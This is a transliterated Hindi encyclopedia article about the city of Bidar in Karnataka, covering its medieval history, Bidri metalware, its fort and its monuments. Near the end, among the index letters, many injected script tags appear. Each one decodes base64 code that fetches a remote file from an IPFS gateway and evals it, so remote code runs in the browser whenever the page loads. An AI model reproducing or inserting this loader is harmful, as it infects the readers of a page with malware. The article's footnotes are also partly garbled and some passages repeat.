बीदर

thumb|300px|bidar qila bidar shahar, poorvottar karnatak (bhootapoorv maisoor) rajy, dakshin bharat mean sthit hai. yah haidarabad ke pashchimottar mean 109 ki.mi. ki doori par samudr tal se 700 mitar ki ooanchaee par sthit hai. yahaan dakkan ki muslim sthapaty kala ke kuchh shanadar namoone upasthit haian. bidar prachin hindoo rajy varangal ke antargat ata tha. yah nagar dakshin bharat ke tin mukhy bhagoan- arthath karnatak, maharashtr aur telangana se saman roop se nikat tha tatha isaki sthiti 200 phut ooanche pathar par hone se pratiraksha ka prabandh bhi saralatapoorvak ho sakata tha.

itihas

alag-alag madhyakalin hindoo rajavanshoan ke samay bidar ka kafi mahattv raha. 12vian shati mean chaluky rajy chhinn-bhinn ho gaya aur usake pashchath bidar ke ilaqe mean yadavoan tatha kakatiy rajaoan ka shasan sthapit ho gaya. isi shati ke aantim bhag mean vijjal ne jo kalachuri vansh ka ek sainik tha, apani shakti badhakar chalukyoan ki rajadhani kalyani mean svatantr rajy sthapit kiya. vikramadity chaluky ke rajakavi vilhan ne apane 'vikramaank devacharit' mean kalyani ki prashansa ke git gae haian aur use sansar ki sarvashreshth nagari bataya hai.

muslimoan ka adhikar

1324 mean is par muslim shahazade muhammad bin tugalak ne adhikar kar liya, jo agale varsh dilli ke sultan bane. 1387 ee0 mean muhammad tugalak ka dakshin ka rajy chhinn-bhinn ho jane par 'hasan gangoo' (alauddin bahaman shah pratham) namak saradar ne daulatabad aur bidar par adhikar karake 'bahamani rajavansh' ki nianv dali. 1423 ee. mean bahamani rajy ki rajadhani bidar mean banaee gee, jisaka karan isaki surakshit sthiti tatha svasthyakari jalavayu thi. bad mean, 1531 mean bidar baridashahi rajavansh ke aantargat ek svatantr saltanat ban gaya. 1565 ee. mean vijay nagar ke viruddh bijapur, ahamadanagar aur golakuanda ke sammilit abhiyan mean yah bhi shamil tha aur talikot ki l daee mean in sab ne sammilit roop se vijay prapt ki. 1619-1620 mean is nagar par bijapur ki saltanat ka qabza ho gaya, lekin 1657 mean ise mugal soobedar aurangazeb ne ise chhin liya aur 1686 mean aupacharik roop se ise mugal samrajy mean mila liya gaya.

mugal samrajy ke vighatan ke samay, bidar 1724 mean haidarabad ke nizam ke hath a gaya. 1956 mean jab haidarabad praant ka vibhajan hua, us samay bidar shahar aur maisoor zile (vartaman karnatak) ko sthanaantarit kar die ge. bidar ke 68 ki.mi. pashchim mean sthit kalyani dvitiy chaluky rajavansh^[1] ki rajadhani thi. baridashahi sultanoan dvara nirmit kuchh ullekhaniy imaratoan ke avashesh bidar mean aj bhi maujood haian.^[2] baridashahi vansh ka sansthapak kasim barid jarjiya ka turk tha. yah suandar hastalekh likhata tha tatha kushal sangitajn tha. ali barid jo bidar ka tisara shasak tha, apane chatury ke karan roov-e-dakan^[3] kahalata tha. bidar ke itihas mean anek kivadantiyaan tatha pir, jinoan tatha pariyoan ki kahaniyoan ka mishran hai. yahaan sultanoan ke maqabaroan ke atirikt musalaman santoan ki anek samadhiyaan bhi haian. bidar ke mahal ki tarif mean do qaside likhane ke lie khurasan se navean bahamani sultan ahamad ne azari shekh namak shayar ko bahut-sa dhan diya tha.

granthoan ke anusar

mahabharat tatha prachin sanskrit sahity ke any granthoan mean vidarbh ka anek bar varnan aya hai. vidarbh mean adhunik barar tatha khanadesh (maharashtr) sammilit the. kiantu vidarbh ka nam ab bidar namak nagar ke nam mean hi avashisht rah gaya hai. bidar ke itihas mean anek kivadantiyaan tatha pir, jinoan tatha pirayoan ki kahaniyoan ka mishran hai. yahaan sultanoan ke makabaroan ke atirikt musalaman santoan ki anek samadhiyaan bhi haian. bidar nagar manjira nadi ke tat par sthit hai. yahaan ke aitihasik smarakoan mean sabase adhik suandar ahamadashah bali ka maqabara hai. isamean divaroan aur chhatoan par suandar farasi shaili ki naqqashi ki huee hai tatha nili aur siandoori rang ki parshvabhoomi par soofi darshan ke anek lekh aankit haian. in lekhoan par tatkalin hindoo bhakti tatha vedaant ki bhi chhap hai. isi makabare ke dakshin ki or ki bhitti par "muhammad" aur "ahamad" ye do nam hindoo vasvavik chihn ke roop mean likhe hue haian.

yatayat aur parivahan

thumb|250px|gurudvara nanak jhira sahib, bidar haidarabad-muanbee s dak aur rel ke uttari sahayak margo se bidar pahuancha ja sakata hai.

krishi aur khanij

karanja nadi dvara apavahit asapas ke nimnabhoomi kshetr mean bajara, gehooan aur tilahan ki paidavar hoti hai. isake atirikt nagar mean svachchh pani ke sote the tatha phaloan ke udyan bhi the.

udyog aur vyapar

bidar bartan nirman ka vyavasayik keandr haian.

bidar ke bartan

ek prakar ki bharatiy pachchikari se alankrit dhatu ki sajavati vastuaian banati hai. in bartanoan ka nam karnatak mean bidar shahar se liya gaya hai. yadyapi inhean keval isi shahar mean nahian banaya jata, balki lakhanoo aur murshidabad bhi bidar bartan nirman ke mahattvapoorn keandr haian. pray: isamean prayukt dhatu ek mishran hoti hai, jise adhikaanshat: jaste ke sath alpamatra mean taanba milakar banaya jata hai aur pakka kala rang prapt karane ke lie ise gahara kiya jata hai. bidar kam ke do mukhy prakar haian:-

pahale prakar mean akriti gaharaee se ukeri jati hai aur usake thik nap mean kata gaya chaandi ya sona usamean j d diya jata hai aur aant mean satah chikani aur chamakadar banaee jati hai.
doosare alankrit prakar mean dhaanche ki bahari rooparekha ukeri jati hai aur guhikaoan ke sise se bhare jane ke bad usi akar ke sone aur chaandi ke varak usamean j de jate haian.

bidar ke bartanoan mean pray- hukke ke adhar bhag, thaliyaan, pyale, phooladan, martadan aur masale ke dibbe hote haian. sabase am namoonoan mean shataranji (samast satah par hirak akritiyaan) aur bikhare pushpoan vali akritiyaan, pattiyaan, machhaliyaan aur samachaturbhuj haian. bhavy tatha vistrit kary ab nahian kie jate, adhunik utpadan mukhyat: sigaret kes, aishatre aur abhooshanoan ka hai.

shikshan sansthan

yahaan ke kee mahavidyalay aur vanijy v vidhi vidyalay 1980 mean sthapit gulabarga vishvavidyalay se sanbaddh haian.

janasankhya

bidar shahar ki janasankhya (2001) 1,72,298 hai. aur bidar zile ki kul janasankhya 15,01,374 hai.

paryatan

thumb|250px|rangin mahal, bidar bidar ke do purane maqabare, jo mugal badashah humayooan aur muhammadashah tritiy ke smarak the, bijali girane se bhoomisat ho ge the. bidar ke qile ka nirman ahamadashah vali ne 1429-1432 ee. mean karavaya tha. pahale isake sthan par hindoo kalin durg tha. malava ke sultan mahamood khilaji ke akraman ke pashchath is qile ka jirnoandvar nizamashah bahamani ne 1461-1463 karavaya tha. qile ke dakshin mean tin, uttar mean do aur shesh dishaoan mean keval ek khaee hai. divaroan mean sat phatak haian. qile ke andar kee bhavan haian.

rangin mahal - isamean eeant, patthar aur lak di ka suandar kam dikhaee deta hai. gadhe hue chikane pattharoan mean sipiyaan j di hueean haian. vastukarm bahamani aur baridi kal ka hai.
turkashamahal - kisi bahamani sultan ki begam ke lie banavaya gaya tha. isamean bhi baridakala ki chhap hai.
gagan mahal - ise bahamani sultanoan ne banavaya aur baridi shasakoan ne vistrit karavaya tha.
jali mahal - yah sabhagrih tha. isamean patthar ki suandar jali lagi hai.
takht mahal - isaka nirmata ahamadashah vali tha. yah mahal apane bhavy saudary ke lie prasiddh tha.

hazar kothari - yah tahakhanoan ke roop mean bani hai.
solahakhanbha masajid - yah masajid solah khanbhoan par tiki hai. 1656 ee. mean dakshin ke soobedar shahazada aurangazeb ne isi masajid mean shahajahaan ke nam khutaba padha tha. yah bharat ki vishal masajidoan mean se ek hai. ek abhilekh se jnat hota hai ki ise kubali sultanoan ne sultan muhammad bahamani ke shasan kal mean banavaya tha.
vir sangaiya ka prachin shivamandir - yah qile ke aandar 'hindoo kalin smarak' hai.

ek any pramukh bahamani imarat vahaan ka madarasa hai, jisaka nirman 1472-1481 mean kiya gaya tha, isake ab vishal bhagnavashesh hi bache haian. shahar ke poorvi hisse mean, jahaan ek taraf ath bahamani shasakoan ke guanbadanuma maqabare haian, vahian doosari taraf pashchim mean barar ke sultanoan ki shahi qabragah hai. 14vian shatabdi se hi bidar ko, bidari patroan, dhatu ki damishki vastuoan^[4], jin par chaandi ke taroan se phool-pattoan ki aur jyamitiy akritiyaan bani hoti haian, ke lie jana jata hai.

ahamadashah bali ka maqabara

thumb|250px|bidar qila bidar nagar manjira nadi ke tat par sthit hai. yahaan ke aitihasik smarakoan mean sabase adhik suandar ahamadashah bali ka maqabara hai. isamean divaroan aur chhatoan par suandar farasi shaili ki naqqashi ki huee hai tatha nili aur siandoori rang ki parshvabhoomi par soofi darshan ke anek lekh aankit haian. in lekhoan par tatkalin hindoo bhakti tatha vedaant ki bhi chhap hai. isi maqabare ke dakshin ki or ki bhitti par 'muhammad' aur 'ahamad' ye do nam hindoo vasvavik chihn ke roop mean likhe hue haian. bidar ke do purane maqabare jo atyachari shasak humayooan aur muhammad shah tritiy ke smarak the, bijali girane se bhoomisat ho ge the. bidar ke qile ka nirman ahamad shah vali ne 1429-1432 ee. mean karavaya tha. pahale isake sthan par hindoo kalin durg tha.

qila

malava ke sultan mahamood khilaji ke akraman ke pashchath is qile ka jirnoandvar nizam shah bahamani ne karavaya tha (1461-1463). qile ke dakshin mean tin, uttar mean do aur shesh dishaoan mean keval ek khaee hai. divaroan mean sat phatak haian. qile ke andar kee bhavan haian:-

rangin mahal isamean eeant, patthar aur lak di ka suandar kam dikhaee deta hai. gadhe hue chikane pattharoan mean sipiyaan j di hueean haian. vastukarm bahamani aur baridi kal ka hai.
turkashamahal kisi bahamani sultan ki begam ke lie banavaya gaya tha. isamean bhi baridakala ki chhap hai.
gagan mahal ise bahamani sultanoan ne banavaya aur baridi shasakoan ne vistrit karavaya tha.
jali mahal yah sabhagrih tha. isamean patthar ki suandar jali hai.
takht mahal isaka nirmata ahamadashah vali tha. yah mahal apane bhavy saudary ke lie prasiddh tha,
hazar kothari yah tahakhanoan ke roop mean bani hai.
solahakhanbha masajid yah solah khanbhoan par tiki hai. 1656 ee. mean dakshin ke soobedar shahazada aurangazeb ne isi masajid mean shahajahaan ke nam khutaba padha tha. yah bharat ki vishal masajidoan mean se ek hai. ek abhilekh se jnat hota hai ki ise kubali sultanoan ne sultan muhammad bahamani ke shasan kal mean banavaya tha.
vir sangaiya ka prachin shivamandir yah qile ke aandar 'hindookalin smarak' hai.

kianvadanti ke anusar vijayanagar ki loot mean laee huee apar dhan rashi is qile mean kahian chhipa di gee thi kiantu isaka rahasy abhi tak prakat n ho saka hai.

any smarak

bidar ke any mahattvapoorn smarak nimnalikhit ye haian-

chaubara - yah kisi prachin mandir ka dipastambh hai. kiantu isaki kala muslim kalin maloom p dati hai.

thumb|250px|mahamood gavaan ka madarasa, bidar

mahamood gavaan ka madarasa - yah bahamani kal ki sabase adhik prabhavashali imarat hai aur vastav mean sthapaty tatha nakshe ki suandarata ki drishti se bharat ki aitihasik imaratoan mean advitiy hai. is madarase ko banane vala svayan mahamood gavaan tha, jo bahamani rajy ka param buddhiman mantri tha. yah vidyanuragi tatha kalapremi tha. yah madarasa tatkalin samarakand ke ulug beg ke madarase ki anukriti mean banavaya gaya tha. is bhavan ki minarean gol tatha bahut bhavy jan p dati haian. praveshadvar bhi bahut vishal tatha shanadar the, kiantu ab nasht ho ge haian.
mahamood gavaan ka maqabara - yah bidar se dhaee mil door nim ke pe doan ki chhaya mean sthit hai. pratikool paristhitiyoan ke karan yah maqabara mahamood gavaan ke prabhavashali vyaktitv ke anuroop n ban saka tha. par madhy yug ke is mahapurush ki smriti ko surakshit rakhane ke lie qaphi hai. gavaan ke madarase ke kuchh door ek praveshadvar hai, jisake aandar ek bhavan dikhaee deta hai. isako 'takht-e-kiramani' kaha jata hai, kyoanki isaka sanmbandh sant khalilullah se bataya jata hai. isake stanbh hindoo mandiroan ke stanbhoan ki shaili mean bane haian.
kali masjid - 1604 ee. mean aurangazeb ke shasalakal mean abdul rahaman rahim ki banaee huee kali masajid kale patthar ki bani shanadar imarat hai. yahaan fakharul mulq zilani ka maqabara ek vishal, ooanche chabootare par bana hai.
naee ka maqabara - yah maqabara dilli ke sultanoan ke maqabaroan ki shaili par bana hai.
kutte ka maqabara - udagir marg par sthit 'kutte ka maqabara' usi se sambandhit hai, jisaka ullekh itihas lekhak farishta ne ahamadashah vali ke sath kiya hai.

stanbh

udagir jane vali prachin s dak par char stanbh haian jinhean ran khanbh kaha jata hai. do khanbhe ek sthan par aur do 591 gaz ki doori par sthit haian. kaha jata hai ki ye stanbh baridi sultanoan ke maqabaroanan ki poorvi or pashchimi simaean nirdharit karate the.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ 10vian se 12vian shatabdi
↑ midoj telar-mainyual aauph indiyan histri
↑ dakshin ki lom di
↑ j daoo aur laharadar

sanbandhit lekh

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> t <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> th <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> d <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> t <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> th <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> d 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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> b <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> m <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> y 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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri 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[1] 10vian se 12vian shatabdi

[2] telar-mainyual aauph indiyan histri

[3] shin ki lom di

[4] ur laharadar

[1]

[2]

[3]

[4]